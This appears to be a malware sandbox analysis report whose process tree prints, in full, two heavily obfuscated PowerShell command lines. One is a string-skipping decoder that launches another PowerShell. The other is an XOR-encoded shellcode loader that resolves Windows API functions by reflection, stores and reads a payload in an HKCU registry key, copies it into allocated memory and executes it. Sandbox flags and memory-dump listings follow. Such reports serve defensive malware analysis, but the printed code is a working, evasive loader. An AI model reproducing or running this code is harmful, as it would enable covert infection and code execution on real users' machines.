Aff'sagBBigFSigDKryDKarFTil4ExpEDis9SkyFBok9DekFCenEMicETil9DitFLigEOpkFTriFSkyFflyESynFNed7ChaEUdp8PorFDelESgeEPom9SonFNon5UnpFSynESupBeft5BibDForFostFHemESkoFAbsDSutFPre2UdvFasf5CamFRefEAnsDInd6BesFLstEUntESemFForFLet3dimFKip4PolFRadFTowBMas3HagBFriFReuELod8HypFCen4FljEKur9UnsFTvr9AorFVre2VacElazFRibFNik4EneFBes7AttAUne9SteBAch7ForBPneBInvBGamFTilEBen8HosFKen4DenEFun9FacFSec9RoyFSam2udsESkoFThoFAfv4DvrFEft7demAGea8SigBMon7BalBSweBVirBFrrFJobDBet0GeaFLok7AleEStrESteEPasBKukETetBDesFPreEMomEUbe9KisFDec5SkoFIndEEmbACou9LoqAAab3RusBakt7StaBuneBSacBOveFHakCPre8DelFBel0VrnFStaAOveEWhiFBrsFJes0DecFRulATopFvaa6DicFMar6SinFBesETapEBul9SkiFBly9DutFClaEFugEBusDUdlFKag2AfsEBeh8ImpFSacETusEDem9NorFFer5BogFKalEMasEBol8IndBLec2krmBAfl5PilCRec8BruFMacECleEFlaFbasDNot2CloFJan6ModEKanBUdeFMid7BilFKetEkjeFSol6VanFFabETilFamt5misEAmpFcomFMouABefEWicFPerFFor2EleFSci4LusFPre5TypDFloDForFKva7OutFshaATupFSkaCUdsEvar8balBAcc3SauBBudFChoDSpr1SpeEIrrEFagFAmp7orbAdemCBryBUni2Vre'Acc;Bea&Pro(Tal`$BonsForoVatrLigbOiniMantcruoGarlRee7Udt)Sti Kam`$DesVundadeanOverEmiyForeHidtPoc4aux;Til`$holVNedaKrenMarrSolySceeLeptSla5Ove Oxy=jos DeaHEssTunpBHet Obl'HypEBru9GurFBonEPubEProFTraEBomERavEBru9LovFDat5RgeBShiBNatBKomFJamDPaaDSkiFNeo4DecEGui9VolFTra9HanFMesEShaEKni9TubFbebEHydFHomFSmaFQuaELnfFKur7KbeESyl8OriFDefEApiESyn9gasFKle5penFMylEEpiBKna5eskDrgt8HldEpul9RecFMitEForFGorAConEParFRimFStuEDelCDesFDopEkhe2vanEAnsBBueFTokEPseBApp3SufBRan2For'Afk;pro&Aqu(Pos`$CoisSopoAborPeibMetiprotFumoLuclPed7Tae)Por Ove`$IntVLymaWidnSilrlaiyStoeCoxtUga5Dis Equ Adh Pre;Com}gom`$HulVHypkNigsDertAnsrSpreLapgAnkuSkilBypeMonrEgeiMejnKajgKyaeLonnWorsPhe Una=Uns HovHGenTDhaBRep Hoc'SplFNon0PriFMotESpeESor9LatFRug5RekFUmoEFisFRog7ObsAInt8FanAGlu9afl'Sph;Une`$QuaVDokaSupnFetrGalyUnfeBemtDro6Tie Inq=For KlaHHetTPulBKrf cen'AfsBCitFmatCpha9SorFPanESouFUnv6NonEsam9teaFAnd0SabFreg5ErgFGia2SelFBev5hysFBinCMisFFakECecFSta5BehEEnd8dirBFdeBBorAScu6plaBCleBVinCSer0subCRev8TelETil2SkrEKan8BroEDemFPhoFMedERepFInf6EdeBhov5SamCTra9MegEBruECliFTis5AytEansFBroFPrs2BusFSec6PhlFTraEStyBLer5GnaDIch2LefFusu5UndELukFTurFLlaENotEout9AfhFGen4myrEPreBCotCSpo8GraFGenEGesEChi9CytEAncDUnlFArt2IndFPas8LogFBibEJakEBor8OpkBFor5CatDcad6InvFSkuAVinESal9SkvENyn8proFPla3OrkFDobAirrFBoy7CatCOli6VrkAudm1LaxAMee1TipDForCAffFBehEBroEWagFTilDDepFFr FUndEPurFRav7BesFFluECriFIntCCuiFPlaAAfsEFerFUtaFTesESalDEngDUdvFKog4DukEStr9ChiDEsiDUdlEFriEAleFOmn5IndFPho8AlbEDueFCroFDds2ZerFMer4BldFAnt5NivCDurBBloFFmc4RudFHej2FilFRad5SnaEBloFFanFFreEeinEBrn9StaBEnt3LivBEft3HerFPreDClaFAng0HogEPatBAfsBTalBRanBmaaFfraCDisDManFSte0BasEUpb8VilEForFActEBru9BirFKarEMilFtaoCSalEMorENatFSte7MouFUndEKluEHyp9busFBar2StnFIns5ConFFalCsemFUndECasFCry5EmpETen8FucBMonBNonBSkrFlabEDoi8DunFPap4SpaENon9UveFKni9HorFMus2UudEKaeFCowFDau4BlaFKon7OphATalFUniBSta2AntBfad7IjnBOcuBMisBBra3stiDIdiCTalDNarFrobCModFPolBDisBGlnDStiBstrBDis3Hd Cins0FosDNon2RejFRea5PriESenFSynCOliBBorEDokFPleESam9JenCAzy6RibBUnd7PosBHukBTrfCUng0StrCDiaEProDRid2SalFSin5ChiEskrFBarAPur8UdfAGro9GreCPlu6FlyBSnu7PraBBilBCenCSca0PopCOscESkaDSov2traFDyn5PreEPlaFFalAUns8SulAKil9AerCExc6AmbBExt7RriBBloBAmpCTva0EntCMikEImaDQua2eupFSkr5prsETeaFSolAInd8ForALon9IndCUnm6KoaBbar2VorBPejBOpeBSki3HalCFel0MedDObs2CabFBle5SugEburFSanCBefBRetETheFEynEThe9SurCSja6ShaBMel2TusBFid2HalBDit2Spo'Dvn;Ser&Jen(Ove`$presDepoDrarUnvbPagiKlatPreoUdhlAgo7Sul)Bib Luf`$WhiVUnbaIkenFylrLynyproeChotMen6Sub;Prc`$OvarXeneArfgbolrOveeOpetSid For=Kof BesfGrukBlypHer Nat`$fajsSupoErorRedbBjeiAnatIrroReflNin5Pal Til`$AbusRupoTarrSubbBaniTretToxoSkolPri6Set;Uni`$NonVRebaIntnPasrSubyLapeSuctfab7riv Pyr=Spa telHPorTFunBPie pri'VveBskuFBraDUnbCCooFPenCSkoFstjEEmaFTra9SolFButCQueFSirEBkkEFab9EchARys8TagBUnpBrgtAGlo6SchBUdsBParBUnrFAftCBla9WalFWeiEBanFCav6ReeETem9ElaFAbn0SanFVan5ProFAce2amaFint5ParFBreCNabFVerErumFTrv5SkiENon8SkrBLov5SvaDLse2FreFkas5FonEEstDBruFDem4PerFStd0GenFAckESkuBgra3unpCSlj0PanDBuk2UltFSpr5sicETapFfrsCEprBBarEBelFTalETil9WhiCHan6TjeAgue1HviAStv1MerCved1SynFDeeEMicEFor9ConFCor4UnfBMes7PhaBArvBDelASlv8UndAKigDOveABed9KetBFru7ResBInhBLanAHelBHygEPar3DomADer8PhoAFulBjorAParBDebAParBIriBHom7ParBLazBEnkABryBTvrEAio3smiAAesFBibACheBUnfBVer2Eft'Pot;mas&Sla(Bul`$BynsLinoPrirDdsbshriLaptEveoMellFor7Eva)Mag Met`$UnuVnonaSpgnBigrKonyFlieEfftCv 7Bis;Fm `$LibVNonaSymnTonrSwayCorePretPac8Adg Haa=Rob EnsHKleTLufBAnt Blo'DisBAleFMoiDFad1svaFPro4BabFFinFImmESidFcs FCer2AflFRev5StnFCep0LunEAngFMalEAssEBioEstr9OrkEMei8RebBKnhBFleAfie6RedBForBRefBCulFParCPel9spaFRefEExiFSvm6UmyETmm9TufFSki0SamFMor5UnpFInf2tenFudv5SkrFAntCAfkFLibEBesFHem5TrkEFor8ApaBAns5OplDhan2RalFNem5MisEGloDUdkFsca4OveFSop0SupFConESirBSkt3DowCUnd0KlaDUdb2DisFFra5TopEUdbFHeaCLenBIncEFilFKriEcon9BagCMea6SkiAtry1MaeAsko1BogCVrd1slvFBedEVelESyn9MarFAfb4GenBSoc7KrnBNuzBSipAUnvBOrcELob3udsAIllAWapAWorBEpiAfemBProAMilBUtjADecBDekAIntBIdlBEid7chrBBldBEliAIntBcreESst3ParAfre8kilAGenBCumAAfgBSliASlaBPriBNin7perBUnnBCarAKatBPolEHyo3KanAVerFBarBNon2Aus'Red;Ald&Ser(Str`$TovsReioProrUnebRekiIsotSkvoHyplBaj7Tip)Orc Tri`$WeaVFelaPosnDksrariyBereTeltMet8Sem;Wan`$hasGStigafseFilbSlggGareKlorDek0Sup0Cun=Nic'SolHSprKEleCFriUCle:Exp\RedHFlaaMalrhysrDeroSatwTvreBifdCon\UntOUdtpAbsgProaMisvUdieElwtFreeSkrkSpasFlatInsepolnBir'Ebu;kkk`$WatGAutgSmeeKulbDisgErgeSarrElf0Spr1Rad pen=MosHUrtTShiBDec Bil'CamBPerFOprDNrk7SkaFFli2galFSpr6TigFGaa2IndEEffFEncFSeq7FnoFcelEcitENon8SteEMod8SarApln6PinBGtt3OccDDivCLkkFForEFasEJowFRaiBDar6BisDOld2BraEApxFTroFSpoESnoFHol6AnlCsamBTrnEArg9CarFSub4DyrEAdvBFeoFKatEMikEByd9EksEKasFBibERed2VoiBBraBRevBSub6TalCValBAldFStrASutEBenFButFDod3eccBAudBYndBspeFBerDVekCCloFTerCMecFUdrEEncFPub9UnbFdisCRgeFverEDisECon9ketAGusBAntAtegBSteBhjl2ColBOpf5skoEWhoEHarFFra5SprFEftDOveFLux7spiFHorEZioFDekFBewFStaCChlFConETeg'Der;Dya&Udv(Ups`$SomsIntoHkerknibStrihistSkaoStalhyd7Bri)Bio Ref`$KriGHypgUnpePyrbGungFogeForrpas0Lin1Obs;Pun`$SupVOveaNoenRetrSupyOpleTyltTrk9Hel Rep=Jon JohHGeoTCorBGlo Him'NonBVanFNenCSanDRakFBilAhylFNed5AndEAer9DelECal2RadFNyeEVerEKlaFRecBSheBMadAben6praBPasBPseCKug0ThrCRes8CohESpr2AbiESol8BetEChaFDkuFSufEMedFVen6indBIns5EarDTer8FreFSkr4DisFFos5ProEFelDDigFOveETitECha9DelEAnkFBlaCNoa6VibAHos1IllAHam1TilDJheDShaEIss9AukFSym4SorFNum6NavDFor9ComFDarAKonEBet8StoFFliECepASekDPerAtraFSucCTur8alpEUnpFSubEMyr9QueFhod2AboFPil5penFforCStaBUdl3UncBBliFunsDRal7JydFSko2VarFChe6ColFAta2oweEBfsFBibFNon7UgrFFluEElaEAnc8LicEUnd8HubBRep2Ene'Pum;Fan&Dis(afp`$BowsTraoBlorDelbUndiContFrsoUiglGen7Con)Ane Amp`$UdsVPreaDifnrigrCoeyFuneDdstMic9Esk;Woo`$FurLEquiTyvmDatigrotReglHoleekasPamsNrr0Maf Fol=Ind ForHdisTBleBvul Per'DybCDia0BruCUnd8UnsESpa2sigEmin8OpsEStlFChaFMeiEHarFCon6almBFor5IdoCMor9AorEnovEmarFPat5GalETakFMidFNon2AvlFSur6KanFPasEDynBKul5DyrDNat2BugFSpi5AurEHabFGliFNonEPlaETrv9GarFAna4JorEParBForCAnd8StdFParEReaEFes9StiECabDIndFDok2BesFNat8UdhFablELinEDip8JanBAdd5RelDbue6GraFHydADecEImp9ProEste8GenFSpr3MazFBerAAusFKol7visCAna6RekATit1CliAEls1NatDClu8EreFVaa4KolESnoBSkrEBan2SvaBFor3UdbBRemFgraCLonDEryFPetATekFPro5CirEPro9SafEHyp2VakFKapEdopEPaaFUfoBSeg7ForBCroBChrASciBBroBOct7WitBMoxBNapBSikBBlaBSubFUncDLanCUnmFForCBalFLopEForFDat9ModFDifCBadFHolEGanEVal9DreAPre8StjBCan7PolBPerBUnsAAme8MesARupDAutAGen9GanBNyd2ber'Tra;Sak&Equ(Kar`$TersTryoNudrGambStaiKogtOproOpvlTor7Nat)Fim tit`$BarLInciAcomSnniDattHavlPareSlasSelsBan0App;Rei`$GenFEteoBarrSensRomtUmarBrekSamnLaniLudnDepgTansTegbPatjRenlKonkLreeArssMod=Gab`$HemVKiraUndnTekrNskyBuneEpitDaw.MulcBetoNonuMusnloctcon-Mer3Ras6inc2Eks;Chu`$retLRugiFarmFatiInvtMezlStueInvsLivsSwi1Him Ele=Bnn DgnHCepToveBAgo tip'WilCBer0BraCHon8conEUni2RinETob8TypEPaxFheaFUntEJatFStr6TerBLeg5IndCUmo9TilESerEDarFhal5DecEkobFChaFRam2tanFKar6SkiFFlyEmilBOop5BlaDkvr2KomFJap5MelESprFMenFIndECinEGra9recFflg4DonEFriBSerCAar8CysFHjaEManEGle9YdeEIndDKekFOve2GodFTil8TweFSolESleEhae8UfoBFor5FouDUnd6JouFSesAHinEBet9disEKap8ForFSad3LicFOprAUnhFmis7SkrCUdl6AdgAVie1VarAapp1AwaDFor8MuzFMag4EgrERigBEndEBio2SimBRed3KurBMilFCayCOxaDGrnFGadAnabFRen5hemESur9DioESal2MagFThrEProEFejFSnvBMes7MisBIntBConAPol8RacAnyrDWhaALus9TraBsta7KorBModBwarBAntFCelDHis1SamFEpo4PriFPlaFTonEFirFFleFKan2copFUdk5ObtFMer0MenEPreFAffEUenEKluEhed9IndEPre8FriBMaa7PseBsulBPyrBBerFConDPreDpifFSte4CruEVas9NetEKni8JagEoccFskrECca9IsoFPar0TroFSer5FjeFDel2NedFCry5HelFLanCProEBlg8BesFRed9KinFSho1TelFJur7HosFInt0duoFOmnEKeeEste8HomBRdd2ass'Cos;til&unf(Amm`$SmrsStroMosrunlbPaniCastTrooPlalNja7Tel)Pur Lub`$berLAbriPolmStoiPretAbelSuleIndsKonsExs1Hol;Chr`$TebLEtaiBramHaviSpotSollSmaeonssOvesKon2Dkk Lak=flh SquHJrnTTafBsci Unt'HamBCraFTraCMenCRhaFForACriEFor8SolFDan3PraFPas9JaiFMosATabEDek8ThiFEva0SanFEnpEVanEOstFUnrBSmuBBerASup6CabBGriBSiaCMud0ProCSam8IndEObo2SnuEEdi8NonEIlsFOrlFOveEKloFSvo6KvaBTeg5GraCAns9KapEOveESolFCir5IndEUnbFNooFSan2TheFHje6KniFUnaESmeBCro5BnhDVkk2fenFBes5CebESkdFIndFTenEEluEAlb9MudFHft4NeoEMarBHysCLiv8IntFCurEsmuEPec9IntEBibDBedFSub2HarFKrs8OkkFKorEAdjEAul8CouBunr5JobDKon6AndFHetAStaESen9NegEFag8LarFSkr3ThiFpalATitFDat7difCDis6UdlAHob1ForADem1HulDHemCMatFSesECryECanFdibDDdeFvilFPelERedFKal7TraFPerEEleFHamCSfaFGenASnkESkkFInjFAutEAndDklaDMotFDri4BorEBro9JotDHirDshiEJanEResFKmp5IllFIne8AbaEkvaFburFFoo2merFBra4UniFHaa5EliCPapBLusFLan4BevFBru2DiaFdef5BefEKalFKonFCluEStrELit9indBmon3FriBHedFMusDfalCAarFGulCUdsFUbeEVinFZoo9AukFTerCCanFFerEBesEFil9PanAJar8BorBcom7PalBQuiBForBVic3CogDTooCGloDFreFParCLegFValBpriBOtiDDovBWekBRes3FagCEbo0EarDAdd2EnhFTri5chaEMahFSidCAerBEdeERouFvagEFll9SenCbln6FloBhej7VilCFan0TypDGoa2BidFGon5hanEAfsFHosCundBAmbEGlaFMaaESpu9HaaCPhl6IneBSid2UnrBSouBRefBBro3SurCSuc0ThaCUntDPhiFVed4GaaFSti2vanFPorFLatCSer6CorBFre2NavBLde2KomBPli2Kng'Fri;Spu&For(Une`$mulsAanoNonrKonbOzoicultQuaoafplSpe7Inf)Shi Pus`$IntLUngiTiamScaiEkstDielMeleCopsForsFri2Thi;Att`$AboLBogiBermGeniFartBullTaneNonsMessNeo3Bod Sko=Res StoHBibTCarBBel Kri'UdrBDesFDisCrodCVarFPapAUnmEErg8KbmFRea3ForFBlo9ForFOpsAMynEPab8FarFFla0xerFnymEJhoElinFOrgBFah5PleDMat2EinFNon5UngEFunDRenFKno4SalFMod0SymFSkeEgenBUne3TagBNumFReaDPaa1MumFKom4JupFengFtriEKjeFUnfFSte2SlaFGos5MorFCid0jesEKasFEtnEdegEEpiEQui9TppEBre8TriBUmb7bauBResFBakEOps9MusFHclEAggFdiaCGenETor9MinFForEBetEGalFsgeBAng2Scr'Per;Gen&Fin(Min`$MessAfhoFnarIndbAfsiIlktconoTrolafs7Bal)Sen Cad`$MamLTimiplemSypiProtPrelSumeUnssLagspre3Sne#Ska;""";Function Limitless9 {param([String]$fyrsvampenes);For($Afgangsklassers=3; $Afgangsklassers -lt $fyrsvampenes.Length-1; $Afgangsklassers+=(3+1)){$Formylal = $Formylal + $fyrsvampenes.'Substring'($Afgangsklassers, 1);}$Formylal;}$Haandbajeren1= Limitless9 $Inogen;if([IntPtr]::size -eq 8){ .$env:windir\S*64\W*Power*\v1.0\*ll.exe $Haandbajeren1 ;}else{.$env:windir\S*32\W*Power*\v1.0\*ll.exe $Haandbajeren1;};"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Geopony00 {param([String]$fyrsvampenes);For($Afgangsklassers=3; $Afgangsklassers -lt $fyrsvampenes.Length-1; $Afgangsklassers+=(3+1)){$Formylal = $Formylal + $fyrsvampenes.Substring($Afgangsklassers, 1);}$Formylal;}$Geopony02 = Geopony00 'AndIUncnAflvIntoKrlkPrieRel-sphEColxGerpForrInheTabsAisssaniTraoMusnDis ';$Geopony01 = Geopony00 'Bea$MicDSpeawavgunlbToroSvadMaasUntsFilaMistDorsUdleFinnSucsCor[Una$PilATrafCutgReeaReanFlugSubsScokDuplHaraNrksIdesEmeeOksrparsPar/Has2Luf]Cal Ara=Met Pen[WiecPreoIndnBanvBoueDefrSkjtPre]Weg:Udv:GalTfiboSutBEneySnatSlgeSac(Raa$MatfDdsyFrerChasAmbvUdlaDiamHelpProeuninBoneDomsMul.RegSskiuWatbShosDaatErhrengiTounIndgSci(Cav$BloAPrefKolgSviaUdknEssgTwasImpkCuflSkaaMorsnedsWaierehrNatsfrd,Opk Rek2Dec)Exc,Ubr Tuf1anb6Stn)Fre ';Function HTB {param([String]$fyrsvampenes);$Dagbodssatsens = New-Object byte[] ($fyrsvampenes.Length / 2);For($Afgangsklassers=0; $Afgangsklassers -lt $fyrsvampenes.Length; $Afgangsklassers+=2){.($Geopony02) $Geopony01;$Dagbodssatsens[$Afgangsklassers/2] = ($Dagbodssatsens[$Afgangsklassers/2] -bxor 155);}[String][System.Text.Encoding]::ASCII.GetString($Dagbodssatsens);}$Jul0=HTB 'C8E2E8EFFEF6B5FFF7F7';$Jul1=HTB 'D6F2F8E9F4E8F4FDEFB5CCF2F5A8A9B5CEF5E8FAFDFED5FAEFF2EDFED6FEEFF3F4FFE8';$Jul2=HTB 'DCFEEFCBE9F4F8DAFFFFE9FEE8E8';$Jul3=HTB 'C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFD';$Jul4=HTB 'E8EFE9F2F5FC';$Jul5=HTB 'DCFEEFD6F4FFEEF7FED3FAF5FFF7FE';$Jul6=HTB 'C9CFC8EBFEF8F2FAF7D5FAF6FEB7BBD3F2FFFED9E2C8F2FCB7BBCBEEF9F7F2F8';$Jul7=HTB 'C9EEF5EFF2F6FEB7BBD6FAF5FAFCFEFF';$Jul8=HTB 'C9FEFDF7FEF8EFFEFFDFFEF7FEFCFAEFFE';$Jul9=HTB 'D2F5D6FEF6F4E9E2D6F4FFEEF7FE';$sorbitol0=HTB 'D6E2DFFEF7FEFCFAEFFECFE2EBFE';$sorbitol1=HTB 'D8F7FAE8E8B7BBCBEEF9F7F2F8B7BBC8FEFAF7FEFFB7BBDAF5E8F2D8F7FAE8E8B7BBDAEEEFF4D8F7FAE8E8';$sorbitol2=HTB 'D2F5EDF4F0FE';$sorbitol3=HTB 'CBEEF9F7F2F8B7BBD3F2FFFED9E2C8F2FCB7BBD5FEECC8F7F4EFB7BBCDF2E9EFEEFAF7';$sorbitol4=HTB 'CDF2E9EFEEFAF7DAF7F7F4F8';$sorbitol5=HTB 'F5EFFFF7F7';$sorbitol6=HTB 'D5EFCBE9F4EFFEF8EFCDF2E9EFEEFAF7D6FEF6F4E9E2';$sorbitol7=HTB 'D2DEC3';$sorbitol8=HTB 'C7';function fkp {Param ($Acidurias, $Circumcircles) ;$Vanryet0 =HTB 'BFCEF5FDFEFEFFFAF9F7FEBBA6BBB3C0DAEBEBDFF4F6FAF2F5C6A1A1D8EEE9E9FEF5EFDFF4F6FAF2F5B5DCFEEFDAE8E8FEF6F9F7F2FEE8B3B2BBE7BBCCF3FEE9FEB6D4F9F1FEF8EFBBE0BBBFC4B5DCF7F4F9FAF7DAE8E8FEF6F9F7E2D8FAF8F3FEBBB6DAF5FFBBBFC4B5D7F4F8FAEFF2F4F5B5C8EBF7F2EFB3BFE8F4E9F9F2EFF4F7A3B2C0B6AAC6B5DEEAEEFAF7E8B3BFD1EEF7ABB2BBE6B2B5DCFEEFCFE2EBFEB3BFD1EEF7AAB2';&($sorbitol7) $Vanryet0;$Vanryet5 = HTB 'BFD8E2F6F7F2F5E8BBA6BBBFCEF5FDFEFEFFFAF9F7FEB5DCFEEFD6FEEFF3F4FFB3BFD1EEF7A9B7BBC0CFE2EBFEC0C6C6BBDBB3BFD1EEF7A8B7BBBFD1EEF7AFB2B2';&($sorbitol7) $Vanryet5;$Vanryet1 = HTB 'E9FEEFEEE9F5BBBFD8E2F6F7F2F5E8B5D2F5EDF4F0FEB3BFF5EEF7F7B7BBDBB3C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFDC6B3D5FEECB6D4F9F1FEF8EFBBC8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D3FAF5FFF7FEC9FEFDB3B3D5FEECB6D4F9F1FEF8EFBBD2F5EFCBEFE9B2B7BBB3BFCEF5FDFEFEFFFAF9F7FEB5DCFEEFD6FEEFF3F4FFB3BFD1EEF7AEB2B2B5D2F5EDF4F0FEB3BFF5EEF7F7B7BBDBB3BFDAF8F2FFEEE9F2FAE8B2B2B2B2B7BBBFD8F2E9F8EEF6F8F2E9F8F7FEE8B2B2';&($sorbitol7) $Vanryet1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Skatkammerbevisernes,[Parameter(Position = 1)] [Type] $Klupperne28 = [Void]);$Vanryet2 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEBBA6BBC0DAEBEBDFF4F6FAF2F5C6A1A1D8EEE9E9FEF5EFDFF4F6FAF2F5B5DFFEFDF2F5FEDFE2F5FAF6F2F8DAE8E8FEF6F9F7E2B3B3D5FEECB6D4F9F1FEF8EFBBC8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5DAE8E8FEF6F9F7E2D5FAF6FEB3BFD1EEF7A3B2B2B7BBC0C8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5DEF6F2EFB5DAE8E8FEF6F9F7E2D9EEF2F7FFFEE9DAF8F8FEE8E8C6A1A1C9EEF5B2B5DFFEFDF2F5FEDFE2F5FAF6F2F8D6F4FFEEF7FEB3BFD1EEF7A2B7BBBFFDFAF7E8FEB2B5DFFEFDF2F5FECFE2EBFEB3BFE8F4E9F9F2EFF4F7ABB7BBBFE8F4E9F9F2EFF4F7AAB7BBC0C8E2E8EFFEF6B5D6EEF7EFF2F8FAE8EFDFFEF7FEFCFAEFFEC6B2';&($sorbitol7) $Vanryet2;$Vanryet3 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5DFFEFDF2F5FED8F4F5E8EFE9EEF8EFF4E9B3BFD1EEF7ADB7BBC0C8E2E8EFFEF6B5C9FEFDF7FEF8EFF2F4F5B5D8FAF7F7F2F5FCD8F4F5EDFEF5EFF2F4F5E8C6A1A1C8EFFAF5FFFAE9FFB7BBBFC8F0FAEFF0FAF6F6FEE9F9FEEDF2E8FEE9F5FEE8B2B5C8FEEFD2F6EBF7FEF6FEF5EFFAEFF2F4F5DDF7FAFCE8B3BFD1EEF7ACB2';&($sorbitol7) $Vanryet3;$Vanryet4 = HTB 'BFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5DFFEFDF2F5FED6FEEFF3F4FFB3BFE8F4E9F9F2EFF4F7A9B7BBBFE8F4E9F9F2EFF4F7A8B7BBBFD0F7EEEBEBFEE9F5FEA9A3B7BBBFC8F0FAEFF0FAF6F6FEE9F9FEEDF2E8FEE9F5FEE8B2B5C8FEEFD2F6EBF7FEF6FEF5EFFAEFF2F4F5DDF7FAFCE8B3BFD1EEF7ACB2';&($sorbitol7) $Vanryet4;$Vanryet5 = HTB 'E9FEEFEEE9F5BBBFDDF4E9F9FEE9FEFFFEF7E8FEE9F5FEB5D8E9FEFAEFFECFE2EBFEB3B2';&($sorbitol7) $Vanryet5 ;}$Vkstreguleringens = HTB 'F0FEE9F5FEF7A8A9';$Vanryet6 = HTB 'BFC9FEF6E9F0F5F2F5FCFEF5E8BBA6BBC0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1DCFEEFDFFEF7FEFCFAEFFEDDF4E9DDEEF5F8EFF2F4F5CBF4F2F5EFFEE9B3B3FDF0EBBBBFCDF0E8EFE9FEFCEEF7FEE9F2F5FCFEF5E8BBBFE8F4E9F9F2EFF4F7AFB2B7BBB3DCDFCFBBDBB3C0D2F5EFCBEFE9C6B7BBC0CED2F5EFA8A9C6B7BBC0CED2F5EFA8A9C6B7BBC0CED2F5EFA8A9C6B2BBB3C0D2F5EFCBEFE9C6B2B2B2';&($sorbitol7) $Vanryet6;$regret = fkp $sorbitol5 $sorbitol6;$Vanryet7 = HTB 'BFDCFCFEF9FCFEE9A8BBA6BBBFC9FEF6E9F0F5F2F5FCFEF5E8B5D2F5EDF4F0FEB3C0D2F5EFCBEFE9C6A1A1C1FEE9F4B7BBA8ADA9B7BBABE3A8ABABABB7BBABE3AFABB2';&($sorbitol7) $Vanryet7;$Vanryet8 = HTB 'BFD1F4FFEFF2F5F0EFEEE9E8BBA6BBBFC9FEF6E9F0F5F2F5FCFEF5E8B5D2F5EDF4F0FEB3C0D2F5EFCBEFE9C6A1A1C1FEE9F4B7BBABE3AAABABABABABB7BBABE3A8ABABABB7BBABE3AFB2';&($sorbitol7) $Vanryet8;$Ggebger00='HKCU:\Harrowed\Opgaveteksten';$Ggebger01 =HTB 'BFD7F2F6F2EFF7FEE8E8A6B3DCFEEFB6D2EFFEF6CBE9F4EBFEE9EFE2BBB6CBFAEFF3BBBFDCFCFEF9FCFEE9ABABB2B5EEF5FDF7FEFFFCFE';&($sorbitol7) $Ggebger01;$Vanryet9 = HTB 'BFCDFAF5E9E2FEEFBBA6BBC0C8E2E8EFFEF6B5D8F4F5EDFEE9EFC6A1A1DDE9F4F6D9FAE8FEADAFC8EFE9F2F5FCB3BFD7F2F6F2EFF7FEE8E8B2';&($sorbitol7) $Vanryet9;$Limitless0 = HTB 'C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1D8F4EBE2B3BFCDFAF5E9E2FEEFB7BBABB7BBBBBFDCFCFEF9FCFEE9A8B7BBA8ADA9B2';&($sorbitol7) $Limitless0;$Forstrkningsbjlkes=$Vanryet.count-362;$Limitless1 = HTB 'C0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1D8F4EBE2B3BFCDFAF5E9E2FEEFB7BBA8ADA9B7BBBFD1F4FFEFF2F5F0EFEEE9E8B7BBBFDDF4E9E8EFE9F0F5F2F5FCE8F9F1F7F0FEE8B2';&($sorbitol7) $Limitless1;$Limitless2 = HTB 'BFCCFAE8F3F9FAE8F0FEEFBBA6BBC0C8E2E8EFFEF6B5C9EEF5EFF2F6FEB5D2F5EFFEE9F4EBC8FEE9EDF2F8FEE8B5D6FAE9E8F3FAF7C6A1A1DCFEEFDFFEF7FEFCFAEFFEDDF4E9DDEEF5F8EFF2F4F5CBF4F2F5EFFEE9B3BFDCFCFEF9FCFEE9A8B7BBB3DCDFCFBBDBB3C0D2F5EFCBEFE9C6B7C0D2F5EFCBEFE9C6B2BBB3C0CDF4F2FFC6B2B2B2';&($sorbitol7) $Limitless2;$Limitless3 = HTB 'BFCCFAE8F3F9FAE8F0FEEFB5D2F5EDF4F0FEB3BFD1F4FFEFF2F5F0EFEEE9E8B7BFE9FEFCE9FEEFB2';&($sorbitol7) $Limitless3#"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/580-63-0x0000000000000000-mapping.dmp
-
memory/580-70-0x0000000005A70000-0x0000000005B70000-memory.dmpFilesize
1024KB
-
memory/580-69-0x0000000073C70000-0x000000007421B000-memory.dmpFilesize
5.7MB
-
memory/580-66-0x0000000005A70000-0x0000000005B70000-memory.dmpFilesize
1024KB
-
memory/580-65-0x0000000073C70000-0x000000007421B000-memory.dmpFilesize
5.7MB
-
memory/580-64-0x0000000076DC1000-0x0000000076DC3000-memory.dmpFilesize
8KB
-
memory/996-54-0x0000000000000000-mapping.dmp
-
memory/1904-55-0x000007FEFC481000-0x000007FEFC483000-memory.dmpFilesize
8KB
-
memory/2036-60-0x0000000002884000-0x0000000002887000-memory.dmpFilesize
12KB
-
memory/2036-62-0x000000000288B000-0x00000000028AA000-memory.dmpFilesize
124KB
-
memory/2036-61-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
-
memory/2036-59-0x000007FEF35D0000-0x000007FEF412D000-memory.dmpFilesize
11.4MB
-
memory/2036-67-0x0000000002884000-0x0000000002887000-memory.dmpFilesize
12KB
-
memory/2036-68-0x000000000288B000-0x00000000028AA000-memory.dmpFilesize
124KB
-
memory/2036-58-0x000007FEF4130000-0x000007FEF4B53000-memory.dmpFilesize
10.1MB
-
memory/2036-56-0x0000000000000000-mapping.dmp